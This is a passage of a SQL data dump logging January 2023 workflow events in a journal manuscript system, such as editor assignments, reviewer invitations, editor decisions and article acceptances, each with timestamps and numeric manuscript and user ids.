has been Accepted Articles  article',13351,'Publisher',376),(124141,'2023-01-10 17:23:33','Editor has Accepted to review Manuscript',13160,'Editor',194),(124142,'2023-01-10 17:23:34','Editor has Accepted to review Manuscript',13160,'Editor',194),(124143,'2023-01-10 17:24:00','Editor has been Editor Decision Accepted article',13160,'Editor',194),(124144,'2023-01-10 17:25:09','Reviewer has submitted comments',13160,'Reviewer',21493),(124145,'2023-01-10 17:25:53','Publisher has been Accepted Articles  article',13160,'Publisher',48),(124146,'2023-01-11 09:26:42','Publisher has been Assigned Editor',13373,'Publisher',248),(124147,'2023-01-11 09:26:56','Publisher has been Assigned Editor',13372,'Publisher',248),(124148,'2023-01-11 09:27:08','Publisher has been Assigned Editor',13371,'Publisher',248),(124149,'2023-01-11 10:21:09','Publisher has been Assigned Editor',13401,'Publisher',988),(124150,'2023-01-11 10:21:23','Publisher has been Assigned Editor',13400,'Publisher',988),(124151,'2023-01-11 10:21:36','Publisher has been Assigned Editor',13398,'Publisher',988),(124152,'2023-01-11 10:24:17','Publisher has Invited Reviewer',13398,'Publisher',988),(124153,'2023-01-11 10:24:22','Publisher has Invited Reviewer',13398,'Publisher',988),(124154,'2023-01-11 10:24:27','Publisher has Invited Reviewer',13398,'Publisher',988),(124155,'2023-01-11 10:24:32','Publisher has Invited Reviewer',13398,'Publisher',988),(124156,'2023-01-11 10:24:36','Publisher has Invited Reviewer',13398,'Publisher',988),(124157,'2023-01-11 10:24:41','Publisher has Invited Reviewer',13398,'Publisher',988),(124158,'2023-01-11 10:24:46','Publisher has Invited Reviewer',13398,'Publisher',988),(124159,'2023-01-11 10:27:27','Publisher has Invited Reviewer',13400,'Publisher',988),(124160,'2023-01-11 10:27:32','Publisher has Invited Reviewer',13400,'Publisher',988),(124161,'2023-01-11 10:27:37','Publisher has Invited Reviewer',13400,'Publisher',988),(124162,'2023-01-11 10:27:42','Publisher has Invited Reviewer',13400,'Publisher',988),(124163,'2023-01-11 10:27:46','Publisher has Invited Reviewer',13400,'Publisher',988),(124164,'2023-01-11 10:27:51','Publisher has Invited Reviewer',13400,'Publisher',988),(124165,'2023-01-11 10:27:56','Publisher has Invited Reviewer',13400,'Publisher',988),(124166,'2023-01-11 10:28:00','Publisher has Invited Reviewer',13400,'Publisher',988),(124167,'2023-01-11 10:29:30','Publisher has Invited Reviewer',13401,'Publisher',988),(124168,'2023-01-11 10:29:35','Publisher has Invited Reviewer',13401,'Publisher',988),(124169,'2023-01-11 10:29:40','Publisher has Invited Reviewer',13401,'Publisher',988),(124170,'2023-01-11 10:29:44','Publisher has Invited Reviewer',13401,'Publisher',988),(124171,'2023-01-11 10:29:49','Publisher has Invited Reviewer',13401,'Publisher',988),(124172,'2023-01-11 10:29:53','Publisher has Invited Reviewer',13401,'Publisher',988),(124173,'2023-01-11 10:29:58','Publisher has Invited Reviewer',13401,'Publisher',988),(124174,'2023-01-11 14:13:16','Manuscript Updated',13373,'Publisher',248),(124175,'2023-01-11 14:13:28','Publisher has been Accepted Articles  article',13373,'Publisher',248),(124176,'2023-01-11 14:38:00','Manuscript Updated',13372,'Publisher',248),(124177,'2023-01-11 14:42:44','Publisher has been Accepted Articles  article',13372,'Publisher',248),(124178,'2023-01-11 15:27:15','Publisher has been Accepted Articles  article',13371,'Publisher',248),(124179,'2023-01-11 15:40:36','Manuscript Updated',13358,'Publisher',248),(124180,'2023-01-11 15:40:55','Publisher has been Accepted Articles  article',13358,'Publisher',248),(124181,'2023-01-11 17:04:15','Reviewer has submitted comments',13174,'Reviewer',21374),(124182,'2023-01-11 17:05:05','Editor has Accepted to review Manuscript',13174,'Editor',194),(124183,'2023-01-11 17:05:20','Editor has been Editor Decision Accepted article',13174,'Editor',194),(124184,'2023-01-11 17:05:55','Publisher has been Accepted Articles  article',13174,'Publisher',48),(124185,'2023-01-12 10:47:58','Publisher has been Assigned Editor',13384,'Publisher',972),(124186,'2023-01-12 10:48:11','Publisher has been Assigned Editor',13382,'Publisher',972),(124187,'2023-01-12 11:17:55','Publisher has been Assigned Editor',13395,'Publisher',48),(124188,'2023-01-12 12:04:52','Publisher has been Assigned Editor',13399,'Publisher',376),(124189,'2023-01-12 12:05:09','Publisher has been Assigned Editor',13397,'Publisher',376),(124190,'2023-01-12 12:10:54','Manuscript Submitted by Publisher',13402,'Publisher',645),(124191,'2023-01-12 12:11:14','Editor has Accepted to review Manuscript',13390,'Editor',222),(124192,'2023-01-12 12:11:27','Editor has been Editor Decision Accepted article',13390,'Editor',222),(124193,'2023-01-12 12:11:32','Editor has Accepted to review Manuscript',13387,'Editor',222),(124194,'2023-01-12 12:11:41','Editor has been Editor Decision Accepted article',13387,'Editor',222),(124195,'2023-01-12 12:12:04','Editor has Accepted to review Manuscript',13389,'Editor',221),(124196,'2023-01-12 12:12:13','Editor has been Editor Decision Accepted article',13389,'Editor',221),(124197,'2023-01-12 12:12:21','Editor has Accepted to review Manuscript',13388,'Editor',221),(124198,'2023-01-12 12:12:30','Editor has been Editor Decision Accepted article',13388,'Editor',221),(124199,'2023-01-12 12:12:36','Editor has Accepted to review Manuscript',13386,'Editor',221),(124200,'2023-01-12 12:12:37','Manuscript Submitted by Publisher',13403,'Publisher',645),(124201,'2023-01-12 12:12:47','Editor has been Editor Decision Accepted article',13386,'Editor',221),(124202,'2023-01-12 12:13:28','Manuscript Updated',13386,'Publisher',84),(124203,'2023-01-12 12:13:46','Publisher has been Accepted Articles  article',13386,'Publisher',84),(124204,'2023-01-12 12:14:12','Manuscript Updated',13387,'Publisher',84),(124205,'2023-01-12 12:14:29','Publisher has been Accepted Articles  article',13387,'Publisher',84),(124206,'2023-01-12 12:14:54','Publisher has been Accepted Articles  article',13388,'Publisher',84),(124207,'2023-01-12 12:15:17','Manuscript Updated',13389,'Publisher',84),(124208,'2023-01-12 12:15:35','Publisher has been Accepted Articles  article',13389,'Publisher',84),(124209,'2023-01-12 12:15:58','Publisher has been Accepted Articles  article',13390,'Publisher',84),(124210,'2023-01-12 12:15:59','Publisher has been Accepted Articles  article',13390,'Publisher',84),(124211,'2023-01-12 13:22:01','Publisher has been Assigned Editor',13392,'Publisher',645),(124212,'2023-01-12 13:50:58','Publisher has Invited Reviewer',13399,'Publisher',376),(124213,'2023-01-12 13:51:02','Publisher has Invited Reviewer',13399,'Publisher',376),(124214,'2023-01-12 13:51:07','Publisher has Invited Reviewer',13399,'Publisher',376),(124215,'2023-01-12 13:51:12','Publisher has Invited Reviewer',13399,'Publisher',376),(124216,'2023-01-12 13:51:16','Publisher has Invited Reviewer',13399,'Publisher',376),(124217,'2023-01-12 13:51:21','Publisher has Invited Reviewer',13399,'Publisher',376),(124218,'2023-01-12 13:52:14','Publisher has Invited Reviewer',13397,'Publisher',376),(124219,'2023-01-12 13:52:19','Publisher has Invited Reviewer',13397,'Publisher',376),(124220,'2023-01-12 13:52:24','Publisher has Invited Reviewer',13397,'Publisher',376),(124221,'2023-01-12 13:52:28','Publisher has Invited Reviewer',13397,'Publisher',376),(124222,'2023-01-12 14:15:26','Publisher has been Assigned Editor',13370,'Publisher',85),(124223,'2023-01-12 14:15:40','Publisher has been Assigned Editor',13369,'Publisher',85),(124224,'2023-01-12 14:15:52','Publisher has been Assigned Editor',13368,'Publisher',85),(124225,'2023-01-12 14:16:05','Publisher has been Assigned Editor',13367,'Publisher',85),(124226,'2023-01-12 14:16:17','Publisher has been Assigned Editor',13366,'Publisher',85),(124227,'2023-01-12 14:16:48','Editor has Accepted to review Manuscript',13366,'Editor',1675),(124228,'2023-01-12 14:17:04','Editor has been Editor Decision Accepted article',13366,'Editor',1675),(124229,'2023-01-12 14:17:14','Editor has Accepted to review Manuscript',13367,'Editor',1675),(124230,'2023-01-12 14:17:22','Editor has been Editor Decision Accepted article',13367,'Editor',1675),(124231,'2023-01-12 14:17:27','Editor has Accepted to review Manuscript',13368,'Editor',1675),(124232,'2023-01-12 14:17:34','Editor has been Editor Decision Accepted article',13368,'Editor',1675),(124233,'2023-01-12 14:17:38','Editor has Accepted to review Manuscript',13369,'Editor',1675),(124234,'2023-01-12 14:17:45','Editor has been Editor Decision Accepted article',13369,'Editor',1675),(124235,'2023-01-12 14:17:52','Editor has Accepted to review Manuscript',13370,'Editor',1675),(124236,'2023-01-12 14:17:58','Editor has been Editor Decision Accepted article',13370,'Editor',1675),(124237,'2023-01-12 14:20:49','Manuscript Updated',13366,'Publisher',85),(124238,'2023-01-12 14:21:13','Publisher has been Accepted Articles  article',13366,'Publisher',85),(124239,'2023-01-12 14:21:27','Manuscript Updated',13366,'Publisher',85),(124240,'2023-01-12 14:25:46','Manuscript Updated',13368,'Publisher',85),(124241,'2023-01-12 14:26:16','Publisher has been Accepted Articles  article',13368,'Publisher',85),(124242,'2023-01-12 14:26:24','Manuscript Updated',13368,'Publisher',85),(124243,'2023-01-12 14:29:36','Manuscript Updated',13367,'Publisher',85),(124244,'2023-01-12 14:30:54','Publisher has been Accepted Articles  article',13367,'Publisher',85),(124245,'2023-01-12 14:31:04','Manuscript Updated',13367,'Publisher',85),(124246,'2023-01-12 14:32:51','Manuscript Updated',13369,'Publisher',85),(124247,'2023-01-12 14:33:01','Publisher has been Accepted Articles  article',13369,'Publisher',85),(124248,'2023-01-12 14:33:11','Manuscript Updated',13369,'Publisher',85),(124249,'2023-01-12 14:34:58','Publisher has Invited Reviewer',13360,'Publisher',48),(124250,'2023-01-12 14:34:59','Manuscript Updated',13370,'Publisher',85),(124251,'2023-01-12 14:35:03','Publisher has Invited Reviewer',13360,'Publisher',48),(124252,'2023-01-12 14:35:08','Publisher has Invited Reviewer',13360,'Publisher',48),(124253,'2023-01-12 14:35:12','Publisher has been Accepted Articles  article',13370,'Publisher',85),(124254,'2023-01-12 14:35:13','Publisher has Invited Reviewer',13360,'Publisher',48),(124255,'2023-01-12 14:35:35','Manuscript Updated',13370,'Publisher',85),(124256,'2023-01-12 14:39:01','Manuscript Submitted by Author using Submission form',13405,'Author',13596),(124257,'2023-01-12 14:42:10','Reviewer has submitted comments',13360,'Reviewer',12532),(124258,'2023-01-12 14:42:43','Editor has Accepted to review Manuscript',13360,'Editor',194),(124259,'2023-01-12 14:42:55','Editor has been Editor Decision Accepted article',13360,'Editor',194),(124260,'2023-01-12 14:43:43','Manuscript Updated',13360,'Publisher',48),(124261,'2023-01-12 14:44:29','Publisher has been Accepted Articles  article',13360,'Publisher',48),(124262,'2023-01-12 15:00:39','Manuscript Submitted by Author using Submission form',13406,'Author',13597),(124263,'2023-01-12 15:04:12','Manuscript Submitted by Author using Submission form',13407,'Author',13598),(124264,'2023-01-12 15:12:12','Manuscript Submitted by Author using Submission form',13408,'Author',13599),(124265,'2023-01-12 15:45:07','Manuscript Submitted by Author using Submission form',13409,'Author',13600),(124266,'2023-01-13 11:43:03','Editor has Accepted to review Manuscript',13399,'Editor',1011),(124267,'2023-01-13 11:43:07','Editor has Accepted to review Manuscript',13397,'Editor',1011),(124268,'2023-01-13 11:43:30','Editor has been Editor Decision Accepted article',13399,'Editor',1011),(124269,'2023-01-13 11:43:47','Editor has been Editor Decision Accepted article',13397,'Editor',1011),(124270,'2023-01-13 12:02:11','Publisher has been Assigned Editor',13259,'Publisher',972),(124271,'2023-01-13 12:09:12','Publisher has been Assigned Editor',13391,'Publisher',645),(124272,'2023-01-13 12:14:24','Publisher has Invited Reviewer',13391,'Publisher',645),(124273,'2023-01-13 12:14:29','Publisher has Invited Reviewer',13391,'Publisher',645),(124274,'2023-01-13 12:14:34','Publisher has Invited Reviewer',13391,'Publisher',645),(124275,'2023-01-13 12:14:38','Publisher has Invited Reviewer',13391,'Publisher',645),(124276,'2023-01-13 12:14:43','Publisher has Invited Reviewer',13391,'Publisher',645),(124277,'2023-01-13 12:14:48','Publisher has Invited Reviewer',13391,'Publisher',645),(124278,'2023-01-16 23:10:41','Manuscript Submitted by Author using Submission form',13417,'Author',13607),(124279,'2023-01-16 23:41:35','Manuscript Submitted by Author using Submission form',13418,'Author',13608),(124280,'2023-01-17 00:05:30','Manuscript Submitted by Author using Submission form',13419,'Author',13609),(124281,'2023-01-17 12:04:02','Publisher has been Assigned Editor',13402,'Publisher',645),(124282,'2023-01-17 12:04:20','Publisher has been Assigned Editor',13403,'Publisher',645),(124283,'2023-01-17 12:05:26','Editor has Accepted to review Manuscript',13134,'Editor',634),(124284,'2023-01-17 12:05:55','Editor has been Editor Decision Accepted article',13134,'Editor',634),(124285,'2023-01-17 12:06:23','Editor has Accepted to review Manuscript',13402,'Editor',634),(124286,'2023-01-17 12:06:33','Editor has been Editor Decision Accepted article',13402,'Editor',634),(124287,'2023-01-17 12:08:01','Editor has Accepted to review Manuscript',13403,'Editor',633),(124288,'2023-01-17 12:08:13','Editor has been Editor Decision Accepted article',13403,'Editor',633),(124289,'2023-01-17 12:08:19','Editor has Accepted to review Manuscript',13392,'Editor',633),(124290,'2023-01-17 12:08:27','Editor has been Editor Decision Accepted article',13392,'Editor',633),(124291,'2023-01-17 12:08:39','Editor has Accepted to review Manuscript',13391,'Editor',633),(124292,'2023-01-17 12:08:48','Editor has been Editor Decision Accepted article',13391,'Editor',633),(124293,'2023-01-17 12:09:15','Editor has Accepted to review Manuscript',13061,'Editor',633),(124294,'2023-01-17 12:09:24','Editor has been Editor Decision Accepted article',13061,'Editor',633),(124295,'2023-01-17 12:09:30','Editor has Accepted to review Manuscript',12973,'Editor',633),(124296,'2023-01-17 12:09:42','Editor has been Editor Decision Accepted article',12973,'Editor',633),(124297,'2023-01-17 12:09:48','Editor has Accepted to review Manuscript',11598,'Editor',633),(124298,'2023-01-17 12:09:58','Editor has been Editor Decision Accepted article',11598,'Editor',633),(124299,'2023-01-17 12:10:04','Editor has Accepted to review Manuscript',10182,'Editor',633),(124300,'2023-01-17 12:11:45','Publisher has Invited Reviewer',13392,'Publisher',645),(124301,'2023-01-17 12:12:00','Publisher has Invited Reviewer',13392,'Publisher',645),(124302,'2023-01-17 12:12:31','Publisher has Invited Reviewer',13395,'Publisher',48),(124303,'2023-01-17 12:12:36','Publisher has Invited Reviewer',13395,'Publisher',48),(124304,'2023-01-17 12:13:08','Publisher has Invited Reviewer',13392,'Publisher',645),(124305,'2023-01-17 12:13:13','Publisher has Invited Reviewer',13392,'Publisher',645),(124306,'2023-01-17 12:13:17','Publisher has Invited Reviewer',13392,'Publisher',645),(124307,'2023-01-17 12:13:22','Publisher has Invited Reviewer',13392,'Publisher',645),(124308,'2023-01-17 12:13:43','Publisher has Invited Reviewer',13395,'Publisher',48),(124309,'2023-01-17 12:13:48','Publisher has Invited Reviewer',13395,'Publisher',48),(124310,'2023-01-17 12:14:30','Publisher has Invited Reviewer',13392,'Publisher',645),(124311,'2023-01-17 13:35:26','Manuscript Updated',13403,'Publisher',645),(124312,'2023-01-17 13:35:51','Publisher has been Accepted Articles  article',13403,'Publisher',645),(124313,'2023-01-17 13:36:03','Manuscript Updated',13403,'Publisher',645),(124314,'2023-01-17 13:39:55','Manuscript Updated',13392,'Publisher',645),(124315,'2023-01-17 13:40:13','Publisher has been Accepted Articles  article',13392,'Publisher',645),(124316,'2023-01-17 13:40:25','Manuscript Updated',13392,'Publisher',645),(124317,'2023-01-17 13:40:44','Manuscript Updated',13391,'Publisher',645),(124318,'2023-01-17 13:41:01','Publisher has been Accepted Articles  article',13391,'Publisher',645),(124319,'2023-01-17 13:41:16','Manuscript Updated',13391,'Publisher',645),(124320,'2023-01-17 13:41:31','Manuscript Updated',13134,'Publisher',645),(124321,'2023-01-17 13:42:05','Publisher has been Accepted Articles  article',13134,'Publisher',645),(124322,'2023-01-17 13:45:19','Publisher has Invited Reviewer',13402,'Publisher',645),(124323,'2023-01-17 13:45:23','Publisher has Invited Reviewer',13402,'Publisher',645),(124324,'2023-01-17 13:45:28','Publisher has Invited Reviewer',13402,'Publisher',645),(124325,'2023-01-17 13:45:33','Publisher has Invited Reviewer',13402,'Publisher',645),(124326,'2023-01-17 13:46:05','Publisher has Invited Reviewer',13402,'Publisher',645),(124327,'2023-01-17 13:51:21','Manuscript Updated',13402,'Publisher',645),(124328,'2023-01-17 13:51:39','Publisher has been Accepted Articles  article',13402,'Publisher',645),(124329,'2023-01-17 13:51:48','Manuscript Updated',13402,'Publisher',645),(124330,'2023-01-17 14:21:11','Author sent Email',13119,'Author',13318),(124331,'2023-01-17 15:10:41','Manuscript Updated',13356,'Publisher',248),(124332,'2023-01-17 15:10:55','Publisher has been Accepted Articles  article',13356,'Publisher',248),(124333,'2023-01-17 18:16:00','Publisher has been Assigned Editor',13407,'Publisher',376),(124334,'2023-01-17 18:17:25','Publisher has Invited Reviewer',13407,'Publisher',376),(124335,'2023-01-17 18:17:31','Publisher has Invited Reviewer',13407,'Publisher',376),(124336,'2023-01-17 18:17:35','Publisher has Invited Reviewer',13407,'Publisher',376),(124337,'2023-01-17 18:18:43','Publisher has Invited Reviewer',13407,'Publisher',376),(124338,'2023-01-17 18:18:48','Publisher has Invited Reviewer',13407,'Publisher',376),(124339,'2023-01-17 18:19:56','Publisher has Invited Reviewer',13407,'Publisher',376),(124340,'2023-01-18 10:31:05','Publisher has been Assigned Editor',13406,'Publisher',376),(124341,'2023-01-18 10:36:00','Publisher has been Assigned Editor',13409,'Publisher',972),(124342,'2023-01-18 10:39:28','Publisher has been Assigned Editor',13408,'Publisher',972),(124343,'2023-01-18 10:54:52','Editor has Accepted to review Manuscript',13407,'Editor',1011),(124344,'2023-01-18 10:55:04','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124345,'2023-01-18 10:55:06','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124346,'2023-01-18 10:55:09','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124347,'2023-01-18 10:55:10','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124348,'2023-01-18 10:55:10','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124349,'2023-01-18 10:55:10','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124350,'2023-01-18 10:55:10','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124351,'2023-01-18 10:55:10','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124352,'2023-01-18 10:55:16','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124353,'2023-01-18 10:55:19','Editor has been Editor Decision Accepted article',13407,'Editor',1011),(124354,'2023-01-18 10:56:02','Editor has Accepted to review Manuscript',13406,'Editor',1012),(124355,'2023-01-18 10:56:19','Editor has been Editor Decision Accepted article',13406,'Editor',1012),(124356,'2023-01-18 10:56:29','Editor has been Editor Decision Accepted article',13406,'Editor',1012),(124357,'2023-01-18 10:56:30','Editor has been Editor Decision Accepted article',13406,'Editor',1012),(124358,'2023-01-18 10:58:15','Manuscript Updated',13407,'Publisher',376),(124359,'2023-01-18 10:58:40','Manuscript Updated',13399,'Publisher',376),(124360,'2023-01-18 10:59:07','Manuscript Updated',13397,'Publisher',376),(124361,'2023-01-18 10:59:51','Editor has been 2 article',13407,'Publisher',376),(124362,'2023-01-18 11:00:26','Editor has been 2 article',13399,'Publisher',376),(124363,'2023-01-18 11:00:51','Editor has been 2 article',13397,'Publisher',376),(124364,'2023-01-18 11:00:52','Editor has been 2 article',13397,'Publisher',376),(124365,'2023-01-18 13:42:45','Editor has Accepted to review Manuscript',13409,'Editor',1787),(124366,'2023-01-18 13:43:00','Editor has been Editor Decision Accepted article',13409,'Editor',1787),(124367,'2023-01-18 13:43:09','Editor has Accepted to review Manuscript',13382,'Editor',1787),(124368,'2023-01-18 13:43:16','Editor has been Editor Decision Accepted article',13382,'Editor',1787),(124369,'2023-01-18 13:43:22','Editor has Accepted to review Manuscript',13384,'Editor',1787),(124370,'2023-01-18 13:43:31','Editor has been Editor Decision Accepted article',13384,'Editor',1787),(124371,'2023-01-18 13:43:36','Editor has Accepted to review Manuscript',13408,'Editor',1787),(124372,'2023-01-18 13:43:43','Editor has been Editor Decision Accepted article',13408,'Editor',1787),(124373,'2023-01-18 13:44:41','Manuscript Updated',13259,'Publisher',972),(124374,'2023-01-18 13:45:06','Publisher has been Accepted Articles  article',13259,'Publisher',972),(124375,'2023-01-18 13:45:17','Manuscript Updated',13259,'Publisher',972),(124376,'2023-01-18 13:45:30','Manuscript Updated',13259,'Publisher',972),(124377,'2023-01-18 13:45:40','Manuscript Updated',13259,'Publisher',972),(124378,'2023-01-18 13:45:58','Manuscript Updated',13382,'Publisher',972),(124379,'2023-01-18 13:46:23','Publisher has been Accepted Articles  article',13382,'Publisher',972),(124380,'2023-01-18 13:46:34','Manuscript Updated',13382,'Publisher',972),(124381,'2023-01-18 13:46:50','Manuscript Updated',13384,'Publisher',972),(124382,'2023-01-18 13:47:09','Publisher has been Accepted Articles  article',13384,'Publisher',972),(124383,'2023-01-18 13:47:40','Manuscript Updated',13384,'Publisher',972),(124384,'2023-01-18 13:47:59','Manuscript Updated',13408,'Publisher',972),(124385,'2023-01-18 13:48:14','Publisher has been Accepted Articles  article',13408,'Publisher',972),(124386,'2023-01-18 13:48:25','Manuscript Updated',13408,'Publisher',972),(124387,'2023-01-18 13:48:35','Manuscript Updated',13409,'Publisher',972),(124388,'2023-01-18 13:48:50','Publisher has been Accepted Articles  article',13409,'Publisher',972),(124389,'2023-01-18 13:49:08','Manuscript Updated',13409,'Publisher',972),(124390,'2023-01-18 15:25:34','Manuscript Submitted by Publisher',13421,'',1045),(124391,'2023-01-19 11:43:16','Manuscript Submitted by Publisher',13422,'Publisher',988),(124392,'2023-01-19 16:42:40','Manuscript Submitted by Author using Submission form',13428,'Author',13614),(124393,'2023-01-19 16:51:58','Manuscript Submitted by Author using Submission form',13429,'Author',13615),(124394,'2023-01-19 21:28:44','Manuscript Submitted by Author using Submission form',13431,'Author',13616),(124395,'2023-01-20 09:49:29','Publisher has been Assigned Editor',13422,'Publisher',988),(124396,'2023-01-20 09:52:09','Manuscript Submitted by Author using Submission form',13432,'Author',13617),(124397,'2023-01-20 09:56:31','Publisher has Invited Reviewer',13422,'Publisher',988),(124398,'2023-01-20 09:56:35','Publisher has Invited Reviewer',13422,'Publisher',988),(124399,'2023-01-20 09:56:40','Publisher has Invited Reviewer',13422,'Publisher',988),(124400,'2023-01-20 09:56:44','Publisher has Invited Reviewer',13422,'Publisher',988),(124401,'2023-01-20 09:56:49','Publisher has Invited Reviewer',13422,'Publisher',988),(124402,'2023-01-20 09:56:54','Publisher has Invited Reviewer',13422,'Publisher',988),(124403,'2023-01-20 09:56:58','Publisher has Invited Reviewer',13422,'Publisher',988),(124404,'2023-01-20 09:57:02','Publisher has Invited Reviewer',13422,'Publisher',988),(124405,'2023-01-20 09:57:07','Publisher has Invited Reviewer',13422,'Publisher',988),(124406,'2023-01-20 09:57:11','Publisher has Invited Reviewer',13422,'Publisher',988),(124407,'2023-01-20 09:57:16','Publisher has Invited Reviewer',13422,'Publisher',988),(124408,'2023-01-20 09:57:20','Publisher has Invited Reviewer',13422,'Publisher',988),(124409,'2023-01-20 09:57:25','Publisher has Invited Reviewer',13422,'Publisher',988),(124410,'2023-01-20 09:57:29','Publisher has Invited Reviewer',13422,'Publisher',988),(124411,'2023-01-20 09:57:34','Publisher has Invited Reviewer',13422,'Publisher',988),(124412,'2023-01-20 09:57:39','Publisher has Invited Reviewer',13422,'Publisher',988),(124413,'2023-01-20 09:57:43','Publisher has Invited Reviewer',13422,'Publisher',988),(124414,'2023-01-20 09:57:48','Publisher has Invited Reviewer',13422,'Publisher',988),(124415,'2023-01-20 09:57:52','Publisher has Invited Reviewer',13422,'Publisher',988),(124416,'2023-01-20 09:57:57','Publisher has Invited Reviewer',13422,'Publisher',988),(124417,'2023-01-20 09:58:01','Publisher has Invited Reviewer',13422,'Publisher',988),(124418,'2023-01-20 09:58:06','Publisher has Invited Reviewer',13422,'Publisher',988),(124419,'2023-01-20 10:02:56','Publisher has been Assigned Editor',13421,'',1045),(124420,'2023-01-21 09:50:49','Publisher has been Assigned Editor',13431,'Publisher',376),(124421,'2023-01-21 09:51:08','Publisher has been Assigned Editor',13430,'Publisher',376),(124422,'2023-01-21 09:51:35','Publisher has been Assigned Editor',13429,'Publisher',376),(124423,'2023-01-21 09:51:52','Publisher has been Assigned Editor',13428,'Publisher',376),(124424,'2023-01-21 09:54:05','Publisher has been Assigned Editor',13432,'Publisher',673),(124425,'2023-01-21 09:55:58','Publisher has Invited Reviewer',13431,'Publisher',376),(124426,'2023-01-21 09:55:59','Publisher has Invited Reviewer',13432,'Publisher',673),(124427,'2023-01-21 09:56:03','Publisher has Invited Reviewer',13431,'Publisher',376),(124428,'2023-01-21 09:56:04','Publisher has Invited Reviewer',13432,'Publisher',673),(124429,'2023-01-21 09:56:07','Publisher has Invited Reviewer',13431,'Publisher',376),(124430,'2023-01-21 09:56:08','Publisher has Invited Reviewer',13432,'Publisher',673),(124431,'2023-01-21 09:56:12','Publisher has Invited Reviewer',13431,'Publisher',376),(124432,'2023-01-21 09:56:13','Publisher has Invited Reviewer',13432,'Publisher',673),(124433,'2023-01-21 09:56:17','Publisher has Invited Reviewer',13432,'Publisher',673),(124434,'2023-01-21 09:56:22','Publisher has Invited Reviewer',13432,'Publisher',673),(124435,'2023-01-21 09:56:26','Publisher has Invited Reviewer',13432,'Publisher',673),(124436,'2023-01-21 09:56:30','Publisher has Invited Reviewer',13432,'Publisher',673),(124437,'2023-01-21 09:56:35','Publisher has Invited Reviewer',13432,'Publisher',673),(124438,'2023-01-21 09:56:39','Publisher has Invited Reviewer',13432,'Publisher',673),(124439,'2023-01-21 09:56:44','Publisher has Invited Reviewer',13432,'Publisher',673),(124440,'2023-01-21 09:56:48','Publisher has Invited Reviewer',13432,'Publisher',673),(124441,'2023-01-21 09:56:53','Publisher has Invited Reviewer',13432,'Publisher',673),(124442,'2023-01-21 09:56:57','Publisher has Invited Reviewer',13432,'Publisher',673),(124443,'2023-01-21 09:57:02','Publisher has Invited Reviewer',13432,'Publisher',673),(124444,'2023-01-21 09:57:06','Publisher has Invited Reviewer',13432,'Publisher',673),(124445,'2023-01-21 09:57:11','Publisher has Invited Reviewer',13432,'Publisher',673),(124446,'2023-01-21 09:57:15','Publisher has Invited Reviewer',13432,'Publisher',673),(124447,'2023-01-21 09:57:20','Publisher has Invited Reviewer',13432,'Publisher',673),(124448,'2023-01-21 09:57:24','Publisher has Invited Reviewer',13432,'Publisher',673),(124449,'2023-01-21 09:57:29','Publisher has Invited Reviewer',13432,'Publisher',673),(124450,'2023-01-21 09:57:33','Publisher has Invited Reviewer',13432,'Publisher',673),(124451,'2023-01-21 09:57:38','Publisher has Invited Reviewer',13432,'Publisher',673),(124452,'2023-01-21 09:57:43','Publisher has Invited Reviewer',13432,'Publisher',673),(124453,'2023-01-21 09:57:47','Publisher has Invited Reviewer',13432,'Publisher',673),(124454,'2023-01-21 09:57:51','Publisher has Invited Reviewer',13432,'Publisher',673),(124455,'2023-01-21 09:57:56','Publisher has Invited Reviewer',13432,'Publisher',673),(124456,'2023-01-21 09:58:00','Publisher has Invited Reviewer',13430,'Publisher',376),(124457,'2023-01-21 09:58:01','Publisher has Invited Reviewer',13432,'Publisher',673),(124458,'2023-01-21 09:58:05','Publisher has Invited Reviewer',13430,'Publisher',376),(124459,'2023-01-21 09:58:05','Publisher has Invited Reviewer',13432,'Publisher',673),(124460,'2023-01-21 09:58:09','Publisher has Invited Reviewer',13430,'Publisher',376),(124461,'2023-01-21 09:58:10','Publisher has Invited Reviewer',13432,'Publisher',673),(124462,'2023-01-21 09:58:14','Publisher has Invited Reviewer',13430,'Publisher',376),(124463,'2023-01-21 09:58:14','Publisher has Invited Reviewer',13432,'Publisher',673),(124464,'2023-01-21 09:58:19','Publisher has Invited Reviewer',13430,'Publisher',376),(124465,'2023-01-21 09:58:19','Publisher has Invited Reviewer',13432,'Publisher',673),(124466,'2023-01-21 09:58:23','Publisher has Invited Reviewer',13432,'Publisher',673),(124467,'2023-01-21 09:58:23','Publisher has Invited Reviewer',13430,'Publisher',376),(124468,'2023-01-21 09:58:28','Publisher has Invited Reviewer',13432,'Publisher',673),(124469,'2023-01-21 09:58:32','Publisher has Invited Reviewer',13432,'Publisher',673),(124470,'2023-01-21 09:58:36','Publisher has Invited Reviewer',13432,'Publisher',673),(124471,'2023-01-21 09:58:41','Publisher has Invited Reviewer',13432,'Publisher',673),(124472,'2023-01-21 09:58:46','Publisher has Invited Reviewer',13432,'Publisher',673),(124473,'2023-01-21 09:58:50','Publisher has Invited Reviewer',13432,'Publisher',673),(124474,'2023-01-21 09:58:55','Publisher has Invited Reviewer',13432,'Publisher',673),(124475,'2023-01-21 10:01:02','Publisher has Invited Reviewer',13429,'Publisher',376),(124476,'2023-01-21 10:01:07','Publisher has Invited Reviewer',13429,'Publisher',376),(124477,'2023-01-21 10:01:11','Publisher has Invited Reviewer',13429,'Publisher',376),(124478,'2023-01-21 10:01:16','Publisher has Invited Reviewer',13429,'Publisher',376),(124479,'2023-01-21 10:01:20','Publisher has Invited Reviewer',13429,'Publisher',376),(124480,'2023-01-21 10:01:25','Publisher has Invited Reviewer',13429,'Publisher',376),(124481,'2023-01-21 10:03:02','Publisher has Invited Reviewer',13428,'Publisher',376),(124482,'2023-01-21 10:03:06','Publisher has Invited Reviewer',13428,'Publisher',376),(124483,'2023-01-21 10:03:11','Publisher has Invited Reviewer',13428,'Publisher',376),(124484,'2023-01-21 10:03:15','Publisher has Invited Reviewer',13428,'Publisher',376),(124485,'2023-01-21 10:03:20','Publisher has Invited Reviewer',13428,'Publisher',376),(124486,'2023-01-21 10:03:24','Publisher has Invited Reviewer',13428,'Publisher',376),(124487,'2023-01-21 10:04:21','Publisher has Invited Reviewer',13406,'Publisher',376),(124488,'2023-01-21 10:04:26','Publisher has Invited 